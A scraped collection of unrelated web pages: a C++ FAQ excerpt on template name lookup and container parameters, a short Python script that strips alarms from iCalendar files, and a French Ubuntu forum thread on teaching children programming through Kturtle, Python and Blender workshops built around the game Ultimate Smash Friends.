This might hurt your head; better if you sit down.
Within D<T>::g(), the name f does not depend on template parameter T, so f is known as a nondependent name. Onthe other hand, B<T> is dependent on template parameter T so B<T> is called a dependent name.
Here’s the rule: the compiler does not look in dependent base classes (like B<T>) when looking up nondependent names(like f).
This doesn’t mean that inheritance doesn’t work. Class D<int> is still derived from class B<int>, the compiler stilllets you implicitly do the is-a conversions (e.g., D<int>* to B<int>*), dynamic binding still works when virtualfunctions are invoked, etc. But there is an issue about how names are looked up.
Workarounds:
Change the call from f()tothis->f(). Sincethisis always implicitly dependent in a template,this->fis dependent and the lookup is therefore deferred until the template is actually instantiated, at which point all base classes are considered.
Insert using B<T>::f;just prior to callingf().
Change the call from f()toB<T>::f(). Note however that this might not give you what you want iff()is virtual, since it inhibits the virtual dispatch mechanism.
Can the previous problem hurt me silently? Is it possible that the compiler will silently generate the wrong code?
Yes.
Since non-dependent types and non-dependent members are not found in the dependent template base-classes, the compiler will search the enclosing scope, such as the enclosing namespace. This can cause it to silently(!) do the wrong thing.
For example:
class Xyz { /*...*/ }; // Global ("namespace scope") type
void f() { } // Global ("namespace scope") function
template<typename T>
class B {
public:
class Xyz { /*...*/ }; // Type nested in class B<T>
void f() { } // Member of class B<T>
};
template<typename T>
class D : public B<T> {
public:
void g()
{
Xyz x; // Suprise: you get the global Xyz!!
f(); // Suprise: you get the global f!!
}
};
The use of Xyz and f within D<T>::g() will silently(!) resolve to the global entities rather than those inheritedfrom class B<T>.
You have been warned.
How can I create a container-template that allows my users to supply the type of the underlying container that actually stores the values?
First, let’s clarify the question: the goal is to create a template Foo<>, but having the template parameter-listinclude some particular type of std::vector<T> or std::list<T> or some other (possibly non-standard) container toactually store the values.
Here’s one way to do that:
template<typename Underlying>
class Foo {
public:
// typename value_type is the type of the values within a Foo-container
typedef typename Underlying::value_type value_type;
void insert(const typename value_type& x)
{
// ...code to insert x into data_...
}
// ...
private:
Underlying data_;
};
Foo<std::vector<int> > x;
Foo<std::list<double> > y;
If you want to allow your users to provide you with an underlying container that does not necessarily have avalue_type typedef (such as some container from a third party), you could provide the value-type explicitly:
template<typename T, typename Underlying>
class Foo {
public:
// typename value_type is the type of the values within a Foo-container
typedef T value_type;
void insert(const typename value_type& x)
{
// ...code to insert x into data_...
}
// ...
private:
Underlying data_;
};
Foo<int, std::vector<int> > x;
Foo<double, std::list<double> > y;
However you cannot (yet) provide an unspecified template as a template parameter, such as this:
template<typename T, template<typename> class Underlying> // Conceptual only; not C++
class Foo {
public:
// ...
private:
Underlying<T> data_; // Conceptual only; not C++
};
Foo<int, std::vector> x; // Conceptual only; not C++
Foo<double, std::list> y; // Conceptual only; not C++
Follow-up to previous: can I pass in the underlying structure and the element-type separately?
Yes, with a “proxy” trick.
Here’s the problem: std::vector template can have, does have, more than one argument. You’re required to make themmatch in the number, order, and nature — type/non-type, etc.
It is possible, however, to “cheat” your way out of specifying all those arguments and use the defaults. It’s called the “proxy template” technique:
#include <vector>
#include <list>
template<typename T>
struct wrap_vector {
typedef std::vector<T> type;
};
template<typename T>
struct wrap_list {
typedef std::list<T> type;
};
template<typename T, template<typename> class C>
struct A {
typename C<T>::type data; // trick to use a proxy
};
int main()
{
A<int,wrap_vector> avi;
A<double,wrap_list> adl;
// ...
}
You can also create a proxy if you actually have a template that takes only one argument:
template<typename T>
struct wrap_my1argtemplate {
typedef my1argtemplate<T> type;
};
The “template typedefs” proposal will allow redefining templates just like we do with types, which will make the proxy-trick unnecessary. Until then, use something like the above.
Related: all those proxies must negatively reflect on the speed of my program. Don’t they?
No.
They might require an extra microsecond to compile, but once all the types are resolved by the compiler, the resulting code is just as fast as if you used them directly without any proxy templates whatsoever.
Not only that, there are some techniques (template meta programming or TMP) that can, under the right circumstances, improve the efficiency of the generated code. The basic notion is to get the compiler to do more work at compile-time so less work has to be done at runtime. |
This feed contains pages with tag "ical".
I could not find any nice examples of using the vobject class to filter an icalendar file. Here is what I got to work. I'm sure there is a nicer way. This strips all of the valarm subevents (reminders) from an icalendar file.
import vobject
import sys
cal=vobject.readOne(sys.stdin)
for ev in cal.vevent_list:
if ev.contents.has_key(u'valarm'):
del ev.contents[u'valarm']
print cal.serialize()
|
doudoulolita
Faire une animation sur la création de jeux vidéo libres
Dans le topic Création de jeu vidéo libre - Appel à candidatures, j'ai découvert le créateur de jeu de Ultimate Smash Friends, Tshirtman.
Voici ce que je lui ai écrit:
Je cherche un jeu que notre Espace Public Numérique pourrait proposer aux jeunes sur Linux, voire les inciter à participer au projet de développement. smile
Mais j'ai du mal à installer Ultimate smash friends chez moi sur Ubuntu Studio Jaunty... mad
Le lien du paquet en .deb sur http://usf.tuxfamily.org/wiki/Download#Requirements ne fonctionne pas.
J'ai finalement trouvé le paquet en .deb sur cette page en suivant le lien indiqué au bas de la précédente (ouf !).
Mais à l'install avec Gdebi, il m'indique qu'il manque python-support.
Pourtant, j'ai vérifié que j'avais python (version 2.6, faut-il la version 2.3 ?) et j'ai installé python-pygame juste avant.
python-support est bien installé (j'ai vérifié dans synaptic), alors ?
C'est le genre de problème qui n'incitera pas les jeunes à se mettre sous Linux, ça, le moindre effort leur est insupportable, les pauvres chéris... cool
La page d'Ultimate-smash-friends destinée aux développeurs fait un peu peur ! Je dois avouer que moi qui aime dessiner (en utilisant Gimp, Inkscape mais je tate aussi de la 3D avec Blender), j'aimerais participer à titre individuel, mais je n'y comprends goutte !
La discussion s'est poursuivie sur Ultimate Smash Friends: un smash bros like en python
Comme le sujet semblait intéresser plusieurs personnes, je propose de continuer la conversation sur la façon de mener cette animation ici.
Voici où m'avait menée ma réflexion:
Animation: programmation
Trouver une animation permettant d'aborder les notions de base de la programmation, outre ses composantes graphiques, me paraît intéressant, à terme. cool
En tout cas, l'idée reste de travailler sous Linux et en logiciel libre. Donc XNA, on oublie, désolée LittleWhite. wink
L'idée d'un saut pourraît être sympa si ce n'est pas trop complexe, mais on pourrait imaginer des animations progressives et variables suivant l'âge, le niveau et le degré de motivation des jeunes.
On a seulement 2 gamins qui pourraient comprendre et apprécier l'aspect mathématique de la programmation , tandis que les autres risquent d'être vite découragés.
Il faudra plus graphique ou plus simple pour ceux-là (même moi, les fonctions Sinus et Cosinus, j'ai oublié et je n'aimais pas ça quand j'étais jeune! wink)
Mais je vois la possibilité d'animation par étapes de plus en plus complexes:
1 - sous Tuxpaint, il y a un des jeux qui permet de réaliser une petite animation en faisant bouger le personnage.
2 - Sous Kturtle, on fait la même chose mais en code pour déplacer la tortue.
3 - Décomposition graphique du saut - Réalisation des images sur Gimp (ou un programme encore plus simple pour les 8-9 ans), Inkscape ou Blender.
4 - Créer un gif animé placé sur un décor (en HTML avec CSS pour le background)
5 - Afficher les images des étapes à l'aide d'une boucle (PHP ?)
6 - Présenter le langage de programmation contenu dans USF et comment ça fonctionne (moteur de jeu et tout ce que je ne connais pas encore...).
7 - Lire et tenter de comprendre une partie de code dans USF correspondant à un saut.
Initiation au Python:
Il y a peut-être plus simple que le saut, pour démarrer ?
Voici les étapes possibles si on veut en arriver là:
1 - Faire glisser le personnage suivant un seul axe.
2 - Puis sur 2 axes (on glisse sur l'axe Y, on saute tout droit sur l'axe Z et on retombe).
3 - Ensuite, on utilise 2 images pour la marche, ou 1 pour le glissement axe Y et 1 autre pour le saut axe Z
4 - Montrer les courbes sinusoïdale d'un vrai saut dans Blender, etc...
Je ne sais pas si Kturtle permet d'initier à ces courbes, mais ce serait peut-être plus simple qu'avec Python, non ?
Python
Je n'ai pas encore mis les mains et la tête dans Python mais je viens de prendre quelques bouquins à la bibliothèque sur le sujet. Je ne connais pour l'instant que des bribes de PHP et me contente d'essais simples (Mod'imprim ou, encore en phase test Multitours).
Je n'ai meme pas encore utilisé pour mes essais une base MySQL, je vais me lancer bientôt (je connais un peu vu qu'on va parfois trafiquer directement dans notre base de donnée au boulot, pour quelques corrections).
J'espère que j'y arriverai en python, et si moi j'y arrive, tout le monde peut y arriver ! tongue
Faire un jeu texte avec des enfants et des ados me semble impossible dans notre EPN, Tshirtman. Les notres sont difficiles à motiver. mad
Jouer, jouer, jouer, d'accord de leur côté, mais participer à une vraie animation construite et sur une certaine durée c'est beaucoup plus difficile pour notre public. sad
Kturtle
J'ai trouvé moi aussi de mon côté des programmes pour enfants permettant d'apprendre ou tout au moins d'aborder la programmation, basés sur le langage Logo.
Kturtle a effectivement l'avantage d'être très facile à installer (dispo dans les sources de Kubuntu et d'Ubuntu). J'ai plus de mal avec Xlogo ou Tangara.
C'est peut-être un point de départ avant de passer à + compliqué. Mais on m'a dit que Logo était un peu dépassé, dans le genre langage de programmation très accessible. Qu'en pensez-vous ?
Problèmes d'installation
Je confirme que le paquet .deb que m'a proposé Tshirtman ne veut pas s'installer avec Gdebi sur ma Ubuntu Studio Jaunty. Il y a des dépendances brisées me dit-il.
J'essaierai plus tard l'autre solution, mais avec les gamins, faudra bien sûr que ce soit simple à installer, sous Linux comme sous Windows.
Notez que chez nous, les gamins n'ont pas forcément Vista quand ils ont leur propre ordi car ils récupèrent souvent de vieux ordis sous XP ou pire encore. On n'en a aucun qui ait installé Linux pour l'instant, il n'y a qu'à notre EPN qu'ils le voient tourner, et le manque de jeux de haute qualité les fait tiquer.
C'est justement là l'intérêt de travailler un jeu libre avec eux, en plus de chercher d'autres jeux libres plus perfectionnés peut-etre, mais moins faciles d'accès que USF pour des animations sur la programmation et/ou le design de jeux.
En tout cas, ça n'empêche pas de commencer des animations avant que le jeu soit parfait et facile à installer sur toutes les plateformes et versions, puisque nous les animateurs, on peut s'embêter avec une install plus compliquée.
On expliquera que pour l'installer chez eux (pour ceux qui ont un ordi), il faudra attendre un peu que les programmeurs bossent encore.
Mes collègues ont été mis tout récemment sur le coup, lors d'une réunion et je leur ai envoyé les liens seulement hier, donc c'est encore jeune comme projet.
Dernière modification par doudoulolita (Le 24/04/2010, à 17:09)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
bump
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
le problème c'est que l'approche de la boucle est fondamentalement fausse, elle n'a pas de sens dans la réalité d'un jeu vidéo, donc il ne faut pas la présenter à mon avis, ni toute autre solution aussi fausse, avoir expliqué le concept de la boucle de jeu permettrait normalement aux enfants d'en trouver une meilleur (ou moins fausse) directement, autant ne pas les embrouiller.
Bon, je reprendrai les étapes après avoir lu un peu sur la conception de jeux et la programmation, pour ne pas faire d'erreurs.
Mais dans les exemples de Kturtle, j'ai vu un truc qui me semble ressembler:
initialiserépète 3 [ avance 100 tournegauche 120]
Est-ce que ce n'est pas une sorte de boucle ?
Dernière modification par doudoulolita (Le 24/04/2010, à 17:21)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Voici le code que j'ai fait lors d'un essai avec Turtle:
initialise
taillecanevas 300,300
couleurcanevas 125,10,125
lèvecrayon
va 150,120
répète 18 {
baissecrayon
avance 10
lèvecrayon
avance 10
tournedroite 20
}
attends 1
va 20,20
écris "J'ai fait tourner la tortue"
tournedroite 90
avance 200
attends 1
va 60,170
attends 1
répète 18 {
baissecrayon
avance 10
lèvecrayon
avance 10
tournedroite 20
}
va 150,250
tournegauche 90
écris "et de 2 !"
tournedroite 90
avance 100
attends 1
message "C'est fini !"
initialise
taillecanevas 300,300
couleurcanevas 125,10,125
centre
C'est dommage que l'on ne puisse pas enregistrer sous forme de gif animé et que j'aie du mal à ouvrir le fichier .turtle à partir de l'explorateur.
Ce qui est super, c'est que la doc en ligne est en français et très simple à comprendre.
Il y a quelques différences en fonction des versions: contrairement à ce quei est écrit sur la doc, je ne peux pas enregistrer comme page html mais comme une image en png.
Mais c'est déjà sympa si on pense à supprimer les dernières lignes du code bas du code (depuis message jusqu'à centre)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Je viens de commencer à apprendre Python en suivant le début du livre "Initiation à la programmation avec Pyton et C++" de Yves Bailly, éditions Pearson (2008).
Sur la capture d'écran ci-dessous, on voit le fichier dans l'explorateur de fichiers, l'éditeur de texte (kate) où on a écrit le programme qu'on a enregistré sous le nom python1.py et la console (toute noire toute triste, pour l'instant ) où on lance l'interpéteur python puis notre fichier python1.py par cette ligne de commande:
python python1.py
Le résultat s'affiche juste en dessous, dans la console, après avoir appuyé sur la touche "Entrée" du clavier.
Finalement, ça commence assez facilement (d'autant que je connais déjà certains principes grâce à PHP). Il n'y a rien à installer sous Ubuntu car Python est inclus.
Le résultat peut même être un peu graphique comme on le voit ici, en utilisant tirets et astérisques, entre autres signes.
L'important est de bien écrire les lignes de code dans l'éditeur de texte, d'enregistrer puis de lancer la commande python python1.py dans la console + touche entrée pour voir le résultat.
ENCODAGE
La première ligne indique l'encodage utilisé, ici utf-8
CHAÎNE
Au début, j'ai utilisé des chaines, c.à.d des suites de caractères qu'on met entre guillemets ou entre apostrophes:
ex: "Bonjour, Tshirtman !"
INSTRUCTION print
Pour que cette chaîne s'affiche, on utilise l'instruction print
print "Bonjour, Tshirtman !"
VARIABLES
le jeu est la première variable. On la définit par:
jeu_1 = "Ultimate Smash Friends"
Pour afficher le nom de jeu, je pourrai écrire:
print jeu_1
Le résultat sera:Ultimate Smash Friends
Si je remplace "Ultimate Smash Friends" par "Kturtle" dans la définition de la variable jeu_1, le résultat sera:Kturtle
Les personnages sont les autres variables. On les définit par:
perso_1 = "BiX"perso_2 = "Blob"
Pour afficher le nom des 2 personnages, je pourrai écrire:
print perso_1
print perso_2
Le résultat sera BiXBlob
CONCATÉNATION
Je peux mettre tout ça à la suite les uns des autres en utilisant le signe +
print "les personnages de " + jeu_1 + " sont " + perso_1 + " et " + perso_2
résultat:les personnages de Ultimate Smash Friends sont BiX et Blob
SÉPARATEUR EN TIRETS
Mon programme python1.py est assez complexe car il définit aussi une fonction permettant de faire des lignes de séparation en astériques et en tirets.
Je ne donnerai pas ici tous les détails, trop complexes pour démarrer.
Mais voici comment réaliser une ligne composée de tirets uniquement (ou d'astérisques ou tout autre signe); c'est assez simple.
Pour compliquer et parvenir à mon résultat (c'est possible, même sans définir de fonction), vous devrez réfléchir un peu !
Le principe, c'est de multiplier le tiret par le nombre de fois qu'on veut voir ce tiret apparaître.
Le tiret est en fait une chaine d'1 seul caractère, donc on doit la mettre entre apostrophes au lieu de guillemets.
soit: '-'
Ensuite, on utilise * pour effectuer la multiplication.
Puis on met un chiffre assez grand pour que la ligne de tirets soit assez longue. 80 tirets, c'est pas mal, non ?
Le code sera donc:
print '-'*80
Si on veut changer ce chiffre de 80 par un autre facilement, le mieux serait de le transformer en variable nommée nb_tirets
EXERCICE
Définissez la variable nb_tirets qui représentera le nombre de tirets composant la ligne.
Imaginez la manière de coder pour faire une ligne de 20 tirets, en changeant juste la valeur de la variable.
Puis faites une ligne de 20 astérisques.
Puis concaténez (= aditionnez) les deux.
Répétez 3 fois (on peut multiplier le code précédent par 3 en le mettant entre parenthèses).
Bon codage !
Dernière modification par doudoulolita (Le 25/04/2010, à 13:39)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Le code est encore bien compliqué car je ne sais pas encore lister automatiquement mes personnages, mais j'utilise des fonctions définies en haut du code, que j'appelle ensuite au sein du programme.
Il y a un petit problème d'encodage des accents quand je regarde ma page de code dans Firefox, mais chez moi, ça fonctionne comme il faut.
Tout ça ne bouge pas beaucoup, mais le côté graphique est amené progressivement.
Si on veut faire une ligne de tirets en pouvant changer ensuite le nombre, on met ce nombre comme variable:
nb_tirets = 80
print '-'*nb_tirets
Je rappelle que le tiret doit être mis entre apostrophes puisqu'il s'agit d'une chaine d'un seul caractère.
Il suffira de changer le chiffre 80 par un autre pour avoir une ligne plus courte ou plus longue.
FONCTION
Mais on peut être amené à réutiliser plusieurs fois ce bout de code, en changeant à chaque fois le nombre de tirets, ce qui oblige à redéfinir la variable à chaque fois et à recopier tout ce code, pas évident !
Si on accumule plusieurs instructions pour un même objet et qu'on a besoin plusieurs fois du même bout de code, une fonction sera vraiment très utile. Le programme fera appel à elle chaque fois qu'il en aura besoin puis reviendra dans le cours normal des instructions.
On va donc définir une fonction pour ce bout de code dessinant une ligne composée d'un nombre précis de tirets successifs, ce qui permettra de l'appeler ensuite quand on veut:
def Tirets(nb_tirets):
chaine_tirets = '-'*nb_tirets
return chaine_tirets
Ne pas oublier les 2 points après la parenthèse donnant l'argument de la fonction (c.à.d nb_tirets) et les tabulations avant chaine_tirets et return. Ce sont ces indentations (faites avec la touche Tab, dans Kate) qui indiquent que l'on est en train de définir la fonction.
L'instruction return permet de faire un calcul, par exemple, sans l'afficher tout de suite.
Quant on appelle cette fonction Tirets au sein du programme, on note entre parenthèses le nombre de tirets désiré. On doit mettre l'instruction print dans le programme avant le nom de la fonction car l'instruction return, présente dans la fonction, n'affiche rien. Cela donnera 80 tirets puis 30 tirets:
print Tirets(80)
print Tirets(30)
SUGGÉRER UN ROCHER
Un rocher est constitué du tiret vertical | (touche 6 + AltGr) au début et à la fin, et d'un nombre variable de tirets (touche 6, sans autre touche). La façon de réaliser un rocher est définie dans la fonction Rocher(nb_tirets).
def Rocher(nb_tirets):
chaine_tirets = '|' + '-'*nb_tirets + '|'
return chaine_tirets
Je rappelle de nouveau que le tiret et le tiret vertical doivent être mis entre apostrophes puisqu'il s'agit pour chacun d'une chaine d'un seul caractère.
Il faudra bien sûr appeler la fonction Rocher par l'instruction print Rocher(10) ou print Rocher(5) au sein du code en indiquant le nombre de tirets désirés (dans notre exemple: 10 ou 5) comme argument.
ESPACER LES ROCHERS
Entre les rochers, il y a des espaces successifs appelés par la fonction Vide, avec en argument le nombre d'espaces (touche espace du clavier, tout bêtement).
def Vide(nb_espace):
chaine_vide = ' '*nb_espace
return chaine_vide
Cette fonction est même plus simple que pour réaliser un rocher ! Il faut juste penser à mettre un espace entre les apostrophes de la chaine.
La 1ère ligne de rochers comprend donc des vides de taille différente et des rochers de taille différente.
print Vide (3) + Rocher(5) + Vide(10) + Rocher(10) + 2*(Vide(5) + Rocher(5)) + "\n"
On note que la succession d'un vide de 5 espaces et d'un rocher de 5 tirets est appelée 2 fois (en multipliant le contenu de la parenthèse par 2) comme ci-dessous:
- Succession d'un vide de 5 espaces et d'un rocher de 5 tirets:
print Vide(5) + Rocher(5)
- La même chose appelée 2 fois:
print 2*(Vide(5) + Rocher(5))
2ème LIGNE DE ROCHERS
Pour la 2ème ligne de rochers, au lieu de changer la taille des vides "à la main", j'ai additionné le chiffre avec un autre au sein de la parenthèse de la fonction Vide, ou soustrait un nombre d'espaces au premier chiffre.
- 1er vide de la 1ère ligne, de 3 espaces:
print Vide (3)
- 1er vide de la 2ème ligne, de 3 espaces supplémentaires, soit 6 espaces:
print Vide (3+3)
- 2ème vide de la 1ère ligne, de 10 espaces. Note : Pour cet exemple, l'instruction print ne se met que si vous faites l'essai isolé, sinon il faut concaténer avec le symbole + la ligne de code précédente avec celle-ci :
print Vide(10)
- 2ème vide de la 2ème ligne, de 7 espaces en moins, soit 3 espaces restants:
print Vide(10-7)
Il semble logique de ne pas changer la taille des rochers.
SYMBOLISER LES PERSONNAGES
Au-dessus des rochers, on a fait une ligne où chaque personnage est représenté par une lettre, rappelant sa forme dans le jeu.
BiX = O Blob = A Stick = I
Il y a des vides appelés par la fonction Vide entre les personnages (leur lettre) et un saut de ligne noté "\n" à la fin de la ligne, code que vous avez remarqué seul dans le fichier à d'autres endroits, concaténé en fin de lignes.
print Vide(5) + perso_1 + Vide(15) + perso_2 + Vide(8) + perso_3 + "\n"
print "\n"
Dernière modification par doudoulolita (Le 25/04/2010, à 13:27)
Hors ligne
psychederic
Re : Faire une animation sur la création de jeux vidéo libres
Si vous savez programmer , vous pouvez faire des programmes dans lequel, il n'y a plus besoin de programmer. (laissons la programmation à ceux que ca interresse des huluberlus comme nous, qui ne serons jamais la majorité de la population : point)
Pourquoi pas : a la fois du mba vers lua, et du devellopement tout graphique ( comme le jeu spore par exemple et le tout avec les avantages du libre , et d'une base de donnée de ressource libre)
Par exemple, dans un premier temps utiliser syntensity, ou refaire un "jeu complet" mugen like avec paintown, c'est peut être ce que cherche les gens : et c'est à leur portée.
( je note aussi qu'il manque aussi une partie scenario, que j'essairai de compléter )
http://doc.ubuntu-fr.org/developpement_de_jeux_video
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
@doudoulolita: eh ben! sacré démarrage heureux de voir que je t'inspire, j'ai un peu survolé tes explications, tu semble prendre les choses dans le bon sens bonne continuation
@psychedric: bizarrement les tentatives pourtant souvent réalisées par des programmeurs très compétends, de créations de langages tout graphiques, n'ont rien donné de très utilisable, en effet, exprimer la même chose avec des boutons et des graphiques qu'avec des mots clées et des suites d'ordres, s'avère être contre productif, il est vrai que la majeur partie de la population ne sera jamais développeur, mais ça ne vient pas du langage utilisé, en fait, il semble qu'on puisse aisément déterminer qui sera potentiellement programmeur et qui ne le sera pas, par un simple test, avant même d'avoir enseigné les bases… ça peut paraitre élitiste, mais c'est malheureusement le cas, enfin être formé à la programmation semble être absoluement insuffisant pour s'assurer d'être un vrai développeur…
http://www.codinghorror.com/blog/archives/000635.html
http://www.codinghorror.com/blog/2007/02/why-cant-programmers-program.html
(et dans les deux, une bonne myriade de liens très instructifs)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Merci pour les liens que j'irai voir prochainement.
Dans mon optique, il ne s'agit pas que tous les jeunes et toutes les personnes à qui nous proposerions une telle animation deviennent de vrais développeurs.
Le but du jeu est juste d'aborder, de faire découvrir la programmation pour que les jeunes comprennent de quoi il s'agit, et qu'ils puissent voir si ça leur plaît vraiment (au cas où ils rêvent de créer des jeux vidéos).
Il y a aussi la partie graphique, dans un jeu vidéo qui peut être abordée en participant au développement d'un jeu comme Ultimate Smash Friends
<- Sorlo
Aujourd'hui, j'ai montré Ultimate Smash Friends et mon personnage Sorlo à mon neveu qui vient tout juste d'avoir 11 ans et cela lui a donné envie d'en créer un lui aussi.
Mon neveu dessine plutôt bien et à plein d'idées. Il adore utiliser ma tablette graphique et commence à s'habituer à Gimp (il a Photoshop sur Mac, chez lui, mais il n'y fait pas beaucoup d'ordi). Aujourd'hui, il a griffonné quelques croquis très sympas et il ne parvenait plus à s'arrêter tellement ses idées fusaient !
Comme quoi, un gamin motivé peut partir dans des directions très intéressantes et même s'il ne va pas jusqu'au bout dans la mise au propre, ses idées peuvent être reprises par les adultes s'il est d'accord.
C'est sans doute plus complexe pour aborder la programmation, mais les petits logiciels comme Kturtle qui permettent de s'y initier sont déjà bien pour les plus jeunes, et quelques essais permettent de voir si on veut s'y coller ou pas quand on est plus âgé.
L'idéal serait d'avoir à un moment un vrai développeur qui vienne faire une intervention, mais il doit être en mesure de se mettre à la portée des jeunes, ce qui n'est pas si facile.
Ce qui semble évident pour un adulte peut en effet paraître totalement incompréhensible à un enfant.
Même en bases informatique, on voit aussi des adultes peiner devant des choses qui nous semblent aller de soi.
L'autre jour, une dame d'environ 60 ans me disait que pour elle, le clic droit ne voulait pas dire cliquer avec le bouton droit mais cliquer en allant tout droit ! Elle s'était même disputée avec son fils à ce sujet...
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Problème pour installer Syntensity sous Ubuntu Jaunty!
Je vais chercher d'autres choses, j'ai vu aussi la possibilité de faire de la programmation en python avec Blender.
Mais je dois bien sûr trouver quelque chose de simple en vue de mon projet d'animation.
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Pour MyPaint, on ne peut pas installer le paquet mypaint comme indiqué dans les pré-requis de la doc d'Ubuntu (lien mort et pas trouvé dans les dépots)
Une fois l'install' effectuée, il s'ouvre mais me signale une erreur de programmation. Je ferme cette fenêtre, histoire de lui clouer le bec, et j'essaie de dessiner un peu mais la fenêtre d'erreur revient toutes les 10 secondes...
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
En langage python, pour que le joueur puisse entrer une donnée, voici le code à taper dans un simple éditeur de texte :
print "Joueur n°1, tapez votre pseudo: ",
pseudo1 = raw_input()
print "Bienvenue à", pseudo1, "dans Ultimate Smash Friends, vous êtes le joueur n° 1 !"
L'instruction print permet l'affichage de la chaîne de caractère de la 1ère ligne. On se rappelle que ces chaines sont mises entre guillemets.
raw_input() permettra d'entrer la donnée pseudo1 dans le programme pour l'utiliser par la suite.
Nous l'afficherons dans une phrase grâce à la 3ème ligne. Celle-ci insèrera cette donnée pseudo1 entre 2 chaines de caractères (toujours entre guillemets, souvenez-vous !).
La virgule derrière la question, dans le code, permet que votre réponse reste sur la même ligne que la question. Idem pour les virgules avant et après pseudo1
Enregistrez sous le nom de progpseudo.py dans un dossier nommé programmes. Remplacez par le nom de votre propre programme et de votre propre dossier s'il est différent, bien sûr
Ouvrez la console (Konsole ou Terminal).
Placez vous dans le bon dossier grâce à la commande cd suivie du chemin du dossier (change directory = changer de répertoire). Ex:
cd /home/laurence/programmes
Tapez sur la touche Entrée du clavier pour entrer dans le répertoire demandé.
Ecrivez ce code à la suite dans la console pour appeler votre super programme:
python progpseudo.py
Tapez sur la touche Entrée pour lancer le programme.
La console affiche alors la 1ère ligne, à laquelle vous devez répondre.
Répondez puis validez avec la touche Entrée.
La console affichera ensuite votre réponse à l'intérieur de la phrase appelée par la 3ème ligne de code.
Cette image montre à la fois le code écrit dans l'éditeur de texte et le résultat dans la console. N'oubliez pas que je n'ai tapé mon nom qu'une fois dans la console et nulle part dans le code !
Si vous copiez-collez ces 3 lignes de codes en dessous des précédentes et que vous remplacez le chiffre 1 par le chiffre 2, vous pourrez aussi demander son pseudo au joueur n°2 et l'afficher pareillement. Essayez !
Demandez ensuite le prénom des 2 joueurs puis arrangez-vous pour l'afficher dans une phrase du type:Le pseudo de Laurence est Doudoulolita tandis que le surnom de Jean est Patouille.
N'hésitez pas à inventer d'autres questions et d'autres phrases pour vous amuser.
Dernière modification par doudoulolita (Le 18/05/2010, à 00:40)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
print "Joueur n°1, combien de points de vie avez-vous ?",
nb_points1 = int(raw_input())
print "Joueur n°2, combien de points de vie avez-vous ?",
nb_points2 = int(raw_input())
print "Au début du jeu,", pseudo1, "a", nb_points1, "points de vie,", pseudo2, "en a", nb_points2, "."
print "Il y a", \
nb_points1 + nb_points2, \
"points de vie en tout."
int(raw_input()) permet d'entrer un chiffre que l'on pourra réutiliser dans un calcul, comme ici avec nb_points1 + nb_points2. Notez qu'il y a 2 parenthèses fermantes à la fin, une pour fermer raw_input, une pour fermer int. Mais n'oubliez pas d'ouvrir les parenthèses avant de les fermer !
On note les \ avant et après le calcul, et les espaces pour indenter les 2 dernières lignes (c'est à dire les décaler vers la droite). Ne pas utiliser la touche Tabulation car il me semble que ça pose problème.
Le programme suivant se base sur cet exemple mais l'addition (ici: 5+6 = 11) est placée avant le nombre de points de chaque joueur. Il réutilise aussi le code appris précédemment.
Cliquez sur l'image de la console pour voir le code utilisé (écrit dans l'éditeur de texte, donc)
Bon, dans un jeu, on ne choisit pas soi-même ses points de vie, mais vous pouvez prendre un dé pour décider de votre réponse !
Quant au nombre de joueurs, si vous le choisissez plus élevé que le nombre choisi par le programmeur pour l'instant (ici je n'en ai prévu que 2...), vous n'aurez pas de questions pour les joueurs 3, 4, etc.
A vous de coder pour prévoir 4 joueurs, comme dans le vrai jeu d'Ultimate Smash Friends !
Dernière modification par doudoulolita (Le 20/07/2010, à 19:02)
Hors ligne
arturototo
Re : Faire une animation sur la création de jeux vidéo libres
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaj'y voit plus claire maintenant mercie!!!!!!
Artur MOUKHAMEDOV
(11 ans)
Hors ligne
arturototo
Re : Faire une animation sur la création de jeux vidéo libres
je comprend bien mieu
Artur MOUKHAMEDOV
(11 ans)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
lol, t'as le même avatar que Kanor, je t'ai pris pour lui au début, comme il fait aussi du python ^^, mais ça m'étonnait qu'il ait appris un truc juste là .
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Mon premier atelier sera sur Blender les 19 et 20 juillet de 14 à 16h à l'Espace libre 13.1.
Au programme: création d'une petite barque et intégration dans un fond en vue de créer un décor pour le jeu Ultimate Smash Friends.
Deuxième atelier sur la programmation python (B.A.BA) les 22 et 23 juillet de 14 à 16h. Un mini-script python pour Blender trouvé sur Internet complétera quelques exercices en mode texte.
Dernière modification par doudoulolita (Le 12/07/2010, à 13:47)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Voici une idée de ce que je souhaite réaliser avec les participants à mon atelier Blender du 19 et 20 juillet 2010 (pour adultes et jeunes à partir de 15 ans):
Les participants réaliseront une barque sur Blender.
Elle est modélisée avec des extrusions, le modificateur Miroir et des redimensionnements utilisant le PET (Outil d'Edition Proportionnelle).
Il faudra placer lampe et caméra pour voir la barque de profil.
On apprend aussi à utiliser le mode points, le mode arêtes et le mode faces, ainsi que l'outil Couteau (K), et à choisir un rendu en png avec un fond transparent (RGBA).
Enfin, on ajoute à la barque un matériau marron et une texture bois.
